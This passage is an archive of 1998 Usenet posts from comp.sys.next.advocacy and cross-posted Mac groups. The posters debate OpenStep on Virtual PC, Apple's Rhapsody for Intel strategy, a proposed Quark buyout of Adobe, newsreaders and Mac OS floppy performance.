claim is false.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Installing Openstep 4.0 on Virtual PC
Date: 27 Aug 1998 11:10:36 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6s3erc$cmi$1@sun27.hrz.tu-darmstadt.de>
References: <6s2kak$jk4$1@news.tamu.edu> <35E47C10.7BA@earthlink.net>
Steve Kellener <skellener@earthlink.net> wrote:
>Hans,
>
>I hope you have better luck than me. It will indeed install and run.
>However, it will most likely wind up a useless partiion on your drive.
>To be honest, I don't remember the exact drivers needed but they were
>two screens past the first list of drivers on the install.
>
>I installed VPC on my 9500/132 when it came out a long time ago. Once I
>got the right drivers, it installed, and installed, and installed. It
>took a very long time with the 4X CD-ROM. Once installed though it did
>run......EXTREMELY SLOW!! Too slow to use. I would imagine your G3
>will yield better results (hopefully significantly better). One note,
While I don't have a G3 machine myself (yet), I've recently seen
OPENSTEP under VPC on a G3 Powerbook, and was quite amazed. It
feels and benchmarks like a Pentium 90, and I found it quite
usable. I wouldn't want to do development on it, but apart from
that, I think it's perfect. Tomi Engel has this configuration
as his main machine, and has written an article on the topic
in the upcoming issue of NEXTTOYOU.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Thu, 27 Aug 1998 08:09:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2708980809080001@wil49.dol.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <6s2nle$ek62@odie.mcleod.net>
In article <6s2nle$ek62@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> Apple is not making more than a few hundred dollars on each PPC shipped.
> 20%-25% gross margins are common. Apple does not need to drop hardware.
> They should sell Rhapsody Intel at whatever price generates the same return
> on investment that selling hardware generates. It should not matter to them
> if they sell a copy of Rhapsody PC or another PPC unit. They make the same
> amount of money either way. Furthermore, selling a few million Rhapsody
> Intel seats might actually make PPC hardware MORE attractive.
I don't think you'll find many people here who disagree with you.
Unfortunately, Apple's assessment is that they lose more in PPC hardware
sales than they make up in Rhapsody for Intel OS sales.
They may be right. But if you disagree with that evaluation, let them know
that you think they're wrong (I have). If possible, tell them exactly how
many copies of Rhapsody for Intel you would buy if they were going to
support it at least until Mac OS X ships in 1999.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Date: Thu, 27 Aug 1998 08:12:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2708980812500001@wil49.dol.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>
In article <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <macghod-2308981459050001@sdn-ar-001casbarp257.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > > On Sat, 22 Aug 1998 07:16:45 -0400, joe.ragosta@dol.net (Joe Ragosta)
> > >
> > > >evidence is all saying the same thing--that Macs are easier to use,
> > > >more productive, and less expensive than PCs.
> >
> > I have asked many times to show a study that shows a pc running openstep
> > or linux is less productive than a mac. You never have shown a study, so
> > stop your lies
>
> Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> one to BE productive (or to run such a study). Besides, you don't want to
> see a study between Linux and Mac OR Windows. Linux' STEEP learning
> curve alone, would put it so far back in the running, that they'd have to
> give it a handicap JUST TO SEE IT on the charts! Not to mention other
> drawbacks like inability to browse mounted volumes. No, this you DO
> NOT want to see!
With one major exception.
If your job is running a network or web server, Linux or OpenStep make
perfectly suitable OSs. The productivity of these could be high enough to
justify the high learning curve for this niche.
But you're right---when talking about general business productivity, it's
really Mac OS vs Windows since OS/2 dropped out of the picture. Linux and
OpenStep aren't used widely enough in general desktop applications to be
able to evaluate them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: schefflr@news.msus.edu (Bill Scheffler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 26 Aug 1998 18:21:22 GMT
Organization: Minesota Colleges and Universities
Message-ID: <6s1jn2$n4e$1@Urvile.MSUS.EDU>
Patrick O'Neil (patrick@howard.genetics.utah.edu) wrote:
: George Graves wrote:
: [...]
: > > > MacOS is the best user experience in computers. It is also the most
: > > > productive OS. This has been proven many times.
: > >
: I wont buy this ever. I hate the MacOS GUI. It is stagnant - the same
: old look and feel that it had at its inception. It was (and is) NOT
: perfect so it CAN use updating and improvement.
Actually, as a CSIS student and having experience teaching
students in labs, it's nice when a machine is consistent. With Windows
3.1, 95, and 98 it's CONSTANT change and that's BAD for end users (think
of all the retraining costs!). Dumb. The Mac OS has been tweaked nicely
over the years and has a very easy to use and powerful interface.
: > > Has the Mac OS been tested agains OpenStep?
: >
: > OpenStep is passe and will soon BE the Mac OS-X. I have fooled with Rhapsody
: > in its two DR releases and it is NOT as polished as MacOS. Better than
: > Windows maybe, but it still has more UNIX sticking out of it than it does
: > MacOS even though it looks and feels a lot like MacOS.
: The Unix sticking out makes it sound more interesting and better by a
: long
: shot. If you really want a MODERN, SUPERIOR, and UPDATED GUI for a Mac,
: the BeOS is the way to go.
You're a geek, no question about it. See, not everyone is like
you (us - I'm a geek too but at least I UNDERSTAND end user needs). I
like unix too, but come on. It's not meant for everyone. Be
realistic.
: On PCs, several of the window managers for linux (Gnome, KDE, fvwm,
: fvwm2,
: olvm, icewm, Windowmaker, are great - and the OS/2 Warp WPS GUI is so
: close
: to perfection that it is hard to imagine doing anything better (object
: oriented
: thru and thru, nice look, nice consistent and logical layout). Icewm
: for
: linux borrows heavily from the OS/2 WPS.
Like I said, you have to take "normal" users into account.
: MacOS is early 80s technology look and feel today!! Enjoy a retro os
: experience with late 90s hardware!!
PC's are 70's technology with newer crap grafted on. Parallel
ports, how lame... ;) If it bugs you so much, install LinuxPPC on the
thing. There is no Holy Grail when it comes to OSs. You need to
understand that not everyone is a geek.
: I wont discuss Win95/98/NT because their GUI is not even in the same
: ballpark as the real GUIs I mentioned, but at least it is better than
: the 3.1 interface...sortof.
If the interface bugs you so much, install LinuxPPC on Mac
hardware. You really are clueless.
--
--------------------------------------------------------------------------
Bill Scheffler | "Good...Bad...I'm the guy with
354 Holmquist Hall -- (218) 236-2432 | the gun." - Ash
Moorhead State University | (Army of Darkness)
schefflr@mhd1.moorhead.msus.edu |-------------------------------
http://dragon.moorhead.msus.edu/~schefflr |-------- ICQ# 11985553 --------
--------------------------------------------------------------------------
Date: Thu, 27 Aug 1998 08:46:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Message-ID: <joe.ragosta-2708980846000001@wil49.dol.net>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com> <joe.ragosta-2608980913590001@wil53.dol.net> <6s2jb2$oqh@news1.panix.com>
In article <6s2jb2$oqh@news1.panix.com>, sal@panix.com wrote:
> On Wed, 26 Aug 1998 09:13:58 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> >> According to a salesman at J&R computerworld in Manhattan, many of the
> >> wintel folks that might buy an iMac are holding off purchase until Apple
> >> (or someone else) offers a way to move files over from their old machines.
> >They did. Ethernet.
>
> How many 4+ year old PCs sold for the home market have built in ethernet?
>
> >Or IR.
>
> Ditto.
>
> >Or, connect a cable from one modem to the other.
>
> This would work, but it how many users would know that you can do this?
> I've had MIS "experts" tell me that it doesn't work while I showed it to
> them...
True. None of these things are trivial. Fortunately, for most iMac users,
they're not very important. If they are, they'll have to use one of the
above or buy a floppy for the iMac.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Date: Thu, 27 Aug 1998 09:41:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Message-ID: <joe.ragosta-2708980941090001@wil49.dol.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <1ded5kr.3dj3ro1jtfqbkN@p023.intchg1.net.ubc.ca>
In article <1ded5kr.3dj3ro1jtfqbkN@p023.intchg1.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> <rr6013@yahoo.com> wrote:
>
> > Anyone else find irony in Quark's proposed buyout of Adobe ?
>
> Since Adobe is rumored to be preparing a "Quark-killer" replacement for
> PageMaker, and since Quark itself has been experiencing some
> difficulties of late in expanding its product line and in getting XPress
> to output PDF, the buyout offer may well be more in the nature of a
> publicity stunt.
Adobe apparently isn't doing very well even in its own market segments.
What makes you think that they're going to manage a "Quark killer"?
Every time Adobe has lost sight of their crown jewels--Photoshop--they
fail. How much of the market does PageMill have?
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: John Moreno <phenix@interpath.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 10:13:02 -0400
Organization: Interpath Communications, Inc.
Message-ID: <phenix-270898101302000141152@news.interpath.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com> <Ey9r7o.41s@T-FCN.Net> <6s00n0$e40$1@lwnws01.ne.highway1.com> <EyAxu1.DoH@T-FCN.Net> <6s2gv4$mg2$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: Yet Another NewsWatcher 3.1.4
John Kheit <jkheit@mediaone.net> wrote:
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > John Kheit wrote:
> > > It's likely a PD app made by one dude in a month or so.
> >
> > RadicalNews? Or mail.app?
>
> Rad News.
>
> > > I imagine any equivelent app on the mac would be worse or non
> > > functional at all.
> >
> > John, stop right there, go out and use NewsWatcher. Really, your
> > comments seem almost bizarre. Really, the best newsreader on
> > any platform, for any OS, at any time, is MT-NewsWatcher.
>
> I'll have to try it. Still, you know what I'm getting at Maury. I'm
> guessing, and correct me if I'm wrong, NW is more a commercial
> venture than PD. Technically Quake is shareware too, but it's a
> bigtime revenue generator as compared to the *nothing* an
> OPENSTEP/NEXTSTEP person could expect. I imagine significantly more
> than a month's programming effort was put towards NW. So the fact
> that Alexandra.app doesn't have as much functionality and refinement
> is pretty understandable. You know what I mean?
NO! All version of NW are PD (source code available for the base
version at: <http://charlotte.at.nwu.edu/jln/progs.ssi>. OTOH - I do
expect that more than a months effort was put into it. But all of the
best newsreaders on the mac are either shareware or freeware.
As for NW - I see a request about once a month from someone on a PC or
Be or X saying: "I've switched and the only thing I miss is NW, anybody
doing a port?". (I've seen two of them in the last week or so).
BUT - I have to disagree with Maury about what is the best newsreader,
MacSOUP is IMO better as is the latest (and unfortunately not generally
available) version of YA-NW.
(all of this reminds me - I've been helping someone set up a page for
newsreaders and have only been able to find home pages for three
next/openstep newsreaders - Alexandria, NewsFlash and RadicalNews.
Anybody know of home pages describing NewsGrazer or any other next
newsreader? If so it'd be nice if you could go to
<http://www.newsreaders.com/mac/clients.html> and add it).
--
John Moreno
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 27 Aug 1998 15:56:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s3vk2$9qo@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <6s2nle$ek62@odie.mcleod.net>
On Wed, 26 Aug 1998 23:32:44 -0500,
Michelle L. Buck <buck.erik@mcleod.net> wrote:
>They should sell Rhapsody Intel at whatever price generates the same return
>on investment that selling hardware generates. It should not matter to them
>if they sell a copy of Rhapsody PC or another PPC unit. They make the same
>amount of money either way. Furthermore, selling a few million Rhapsody
>Intel seats might actually make PPC hardware MORE attractive.
I agree with this 100%, Rhaptel sales today may become PPC sales tomorrow.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 27 Aug 1998 15:56:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s3vk3$9qo@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet>
On Wed, 26 Aug 1998 21:45:58 -0700, jedi <jedi@dementia.mishnet> wrote:
>>How could Apple make money in this scenario? Compare the money Apple makes
>>on each Mac sold to the amount it might make on sales of a $100, $250 or
>>$1000 OS bundle.
> They don't necessarily have to give away the whole store
> at once. They can be rather selective at first only releasing
> generally what would increase market penetration for hardware
> that benefits them and improve their mindshare.
I think they are doing this _now_ with YellowBox on NT/95.
>>How would their competition respond? What if Microsoft made Windows free?
> Microsoft AND Apple's days would be numbered then...
MS makes a lot of money on Office and BackOffice sales.
>>How would Apple's business partners react? Would they be willing to port
>>Apps to each platform Apple supported? Compare the QA and COS&S to support
> You don't sound like you've ever supported a common source
> code base across 3 platforms (or even 7). It's not the nightmare
It is harder than one platform. (BTW, I worked on a port of an X/Motif
app to NT last year. We had to maintain the App on both platforms while
development was going on. While it is true that this is a worse case
scenario, and that supporting code among a half dozen of more Unix systems
is a lot easier than this, it is still a bit of work.)
>>How would Wall Street react to Apple's revenues dropping? My guess is
>>that they wouldn't be very happy with the idea, especially since hardware
>>sales are fueling Apple's bottom line right now.
> Why should Apple matter. It's their long term survival they
> really need to be interested in. They could do considerably
> more business by widening their appeal (especially as a
> hardware vendor).
Yes, they should grow. Dumping hardware wouldn't help growth, adding
Rhaptel to the line up would help growth.
>>for Apple, and I doubt Apple could survive them at this point. Apple isn't
>>strong enough for that radical a business shift, and may never be.
>>Also keep in mind what happened when Steve Jobs did this while running
>>NeXT.
> He overpriced the market before & overpriced it afterwards.
> That was he doomed to failure in both instances is no
> great mystery.
NeXT hardware was expensive, but when you compare it to similar Unix
workstations of the time (or even high end Macs) they were hardly
overpriced.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: 27 Aug 1998 15:56:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s3vk6$9qo@news1.panix.com>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de> <6s0ufu$ikd@news1.panix.com> <joe.ragosta-2608980913590001@wil53.dol.net> <6s2jb2$oqh@news1.panix.com> <3604dd0b.53450296@198.0.0.100>
On Thu, 27 Aug 1998 04:15:00 GMT, nate <nhughes@sunflower.com> wrote:
>On 27 Aug 1998 03:21:06 GMT, sal@panix.com (Sal Denaro) wrote:
>>How many 4+ year old PCs sold for the home market have built in ethernet?
>How many 4 year old PCs can't have ethernet for $30? Answer: damned
>few.
Fair enough. This is a viable option. Now, how many iMac buyers would
be able to do this?
Anyone running win3.1 today, is probably not a "cutting edge" kind of
person. They might even be a bit technophobic. I would be loathe to ask
them to open up their PC, install a network card (win3.1 lacks P&P, so
would many 4 or 5 year old PCs) and set up networking, just to copy over
old files.
I think Apple should work with Iomega or Syquest to provide a migration
kit to help people move from win3.1 or '95 to the iMac. Depending on who
you believe, up to 10% of iMac buyers are replacing a win3.1 box. This
is a healthy enough market for such a product to exist.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
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Cc: phenix@interpath.com
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
<Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com>
<Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
<Ey9r7o.41s@T-FCN.Net> <6s00n0$e40$1@lwnws01.ne.highway1.com>
<EyAxu1.DoH@T-FCN.Net> <6s2gv4$mg2$1@lwnws01.ne.highway1.com>
<phenix-270898101302000141152@news.interpath.net>
Mime-Version: 1.0
Date: Thu, 27 Aug 1998 15:42:36 GMT
In <phenix-270898101302000141152@news.interpath.net> John Moreno wrote:
> (all of this reminds me - I've been helping someone set up a page for
> newsreaders and have only been able to find home pages for three
> next/openstep newsreaders - Alexandria, NewsFlash and RadicalNews.
> Anybody know of home pages describing NewsGrazer or any other next
> newsreader? If so it'd be nice if you could go to
> <http://www.newsreaders.com/mac/clients.html> and add it).
Add Eloquent as well. It's not _really_ just a newsreader, but it does
that (too).
http://www.take3.com/
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Content-Type: text/plain; charset=us-ascii
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Cc: jkheit@mediaone.net
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
<Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com>
<Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
<Ey9r7o.41s@T-FCN.Net> <6s00n0$e40$1@lwnws01.ne.highway1.com>
<EyAxu1.DoH@T-FCN.Net> <6s2gv4$mg2$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Date: Thu, 27 Aug 1998 15:40:53 GMT
In <6s2gv4$mg2$1@lwnws01.ne.highway1.com> John Kheit wrote:
> I'll have to try it. Still, you know what I'm getting at Maury.
Yes...
> guessing, and correct me if I'm wrong, NW is more a commercial venture than
> PD.
Nope, 100% built and supported by one guy - although that guy has changed
around as various people worked on it (three that I know over spread out over
the last decade). Right now it's a guy in U.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 27 Aug 1998 11:00:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E5829C.A0EF432A@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com>
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Sal Denaro wrote:
> How would Apple's business partners react? Would they be willing to port
> Apps to each platform Apple supported?
I am a co-op working for Ericsson to port a high-availability middleware
from Solaris to Linux. They have devoted exactly one low-paid
pre-professional to the task and it is nearly completed. It has taken me
about two months, give or take a couple of weeks, and I'm ashamed to
admit that it took so long. Nothing can be faulted apart from my own
lack of experience.
Porting from Solaris to Windows or from Solaris to MacOS would be a
completely different matter. Apart from the fact that it would be
impossible to run this software on MacOS, porting is not porting is not
porting. Simply invoking the word "porting" means nothing unless you can
identify the specific areas of contrast between two systems, and by the
way, porting from Unix to Unix is basically a trivial matter.
The reason for this is common design. How much more could Apple achieve
an attractive portability layer with proven-portable libraries like
Yellow Box?
> Compare the QA and COS&S to support
> a 3->5% market on one platform to supporting a 10->15% market on four or
> five platforms. (Let's assume you are right and Apple's market share
> triples overnight)
I don't remember saying anything like that.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 13:08:57 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E44F39.CAB96A0D@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com>
<Ey7nFp.2uK@T-FCN.Net> <35E1D93F.6F4892A4@ericsson.com>
<6rsm1j$ot6@newsb.netnews.att.com> <Ey7tuw.6Bv@T-FCN.Net>
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Maury Markowitz wrote:
> Regardless the above is wrong, the floppy insert is an interrupt AFAIK, and
> not polled at all.
What are you talking about? I did not say that the floppy device was
periodically polled, which is what it sounds like you are saying. Of
course the floppy generates an interrupt, setting in motion the process
I described above.
> The fact that the mount process takes xxx time is
> meaningless to the original claim that this results in specific waits, and in
> no way supports the earlier claim that there's polling going on.
There is no regular polling going on, I shouldn't have used the word
"poll" (which was used exactly once): the system will "examine" volumes
every time there is an I/O operation that requires a File Manager
updates: certain Finder events, for instance. If a volume is offline it
*will* be examined and it *will* generate a slow directory refresh. The
only way to prevent this, in fact, is to close the floppy, make sure all
write buffers are flushed, unmount the volume, and eject it.
Please don't act like you don't recognize this phenomenon, I'd be so
disappointed in you. Remember the complaints from people who claimed
that MacOS 8.0 was actually slower than 7.6 because of the way 8.0 was
always getting directory information in the Finder more exhaustively?
Have you ever tried to browse your local hard drive while you had
accidentally left mounted an AppleTalk volume over a slow link? Have you
ever tried to copy a large amount of small files onto a floppy without
Copy Doubler installed? Have you ever tried to execute commands in place
on files located on a floppy?
The problem has four causes, as I've already explained at exhaustive
length:
1) Floppies are slow but MacOS treats them like fast devices, generating
frivolous updates
2) MacOS cannot multitask I/O
3) MacOS has slow I/O performance
4) MacOS read/write buffers are small
This is what makes MacOS floppies unusable.
> The only
> polling I know that's going on is on the AppleTalk side, and that also has
> some supporting interrupts as well.
That's fine.
> Nor does it demonstrate how the floppy is "unusable", unless this is the
> justification...
I've given you the justification.
> Of course the "very long" wait is about 5 seconds on every machine I've
> used, maybe as long as 10 on a Plus.
That's an open-and-shut case. 5 seconds wait (computer is completely
unusable during wait) is totally unacceptable.
> Every machine I've owned has had PC
> Exchange on it, and I have _never_ seen or heard of a crash related to this.
> Nor is any attempt to produce a causal relationship between the wait time and
> these mythical crashes noted.
You lost me.
> Michael, your apparent hatred of all things Apple is now leading you to
> sound ever more like a brainless dolt. The "problems" you describe above
> appear to be largely mythical, or at best blown completely out of proportion,
> and add nothing to the thread. Yet you apparently don't think twice before
> posting moronic statements like the "floppy is unusable".
What's that called? "Shooting the messenger"?
> We've been down this road before Michael. You wrote to me saying that we
> likely agree on most points - a statement I agree with BTW - but that you
> couldn't understand why we end up at loggerheads. Then you post something
> moronic like this. You want me to treat your comments with respect and stop
> calling you out for them? Fine, stop posting these bogus comments and
> wrapping them in hyperbole.
Better yet, don't get involved. I know you have to do your civic duty,
but if you're determined to misunderstand and misrepresent, we're both
better off without it.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 27 Aug 1998 10:50:22 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2708981050220001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2dm9$2pr$1@birch.prod.itd.earthlink.net>
In article <6s2dm9$2pr$1@birch.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>>Perhaps an Apple buyout of Adobe and merger with Filemaker Inc., to create
>>the cross-platform application software arm of Apple computer?
>
>Wasn't that called Claris?
But what was Claris making and selling? Anything the PC market wanted?
Anything that was cutting edge, leading the way? Filemaker is all that
survives. Adobe has a number of products that fit that bill - PS, RIPs,
the consumer products, PDF. They have product the PC space wants and
needs, but Adobe isn't delivering as well as it should. It has products
the Mac market requires to survive and will pay for, so long as the
products give satisfactory support - which they really don't do, IMO.
>>Didn't we already go through the arguments for Apple buying Adobe?
>
>That would prod Quark or Microsoft to buy Macromedia and we'd have
Win/Mac split
>with Apple-Adobe in one camp and Macromedia-Quark/Microsoft in the other.
I think it depends on how it was handled. But that is a likely scenario,
and not a desirable one. OTOH, this is the _best_ time to try it as MS is
skirting the monopoly line. A large shrink-wrap app company buyout would
get pounced on from every corner. Adobe would be easier for Apple to
justify with a strong past relationship and the justification of buying
Adobe for the tech (PS and PDF) as much as the apps. Further, Apple puts
them in a separately named division, where MS puts their brand on
everything they touch.
>I don't see how Apple would continue to give Adobe's Win products as much
>attention as they've been getting under Adobe. Think of Photoshop and MMX, for
>instance.
Why not? Filemaker is a rather nice Win product by most any standard.
Further, Apple could make Photoshop the most MMX efficient product known
to man and it likely wouldn't impact the relative benchmarks one bit one
Altivec arrives. Apple can win giving both camps full attention.
The advantage to Apple is that hardcore Adobe users will know which
hardware to buy (good for Apple), and Apple picks up a broad consumer
software space that can, at least in part, be tied to Quicktime and other
techs in the PC space. Even if the Mac starts to lose again, Apple has a
hedge. That's good for the company, and good for us.
>I'd love Apple to wrest control of its Mac software destiny from Adobe somehow,
>but I don't see how.
Apple would instantly become a very necessary partner to MS. Not in the
current sense with MS application sales being in part dependent on Mac
sales, but in the sense that Windows will lose credibility in many markets
if it doesn't have strong support for Apple techs - QT, PDF, PS, etc.
There is something really, really valuable in PDF (especially when tied to
WO) that Adobe just doesn't get. Apple could gain some real strength by
such a move.
The timing is quite good, I think.
-Bob Cassidy
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 27 Aug 1998 11:06:59 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
>apart from the synchronous nature of volume operations. I am at a loss
>to explain the parade of people who continually protest "I've never had
>that problem, how strange" in the face of incontrovertible first-hand
>evidence on my part.
What makes you think that your "first hand" anecdotal evidence is
in any way incontrovertible?
George Graves
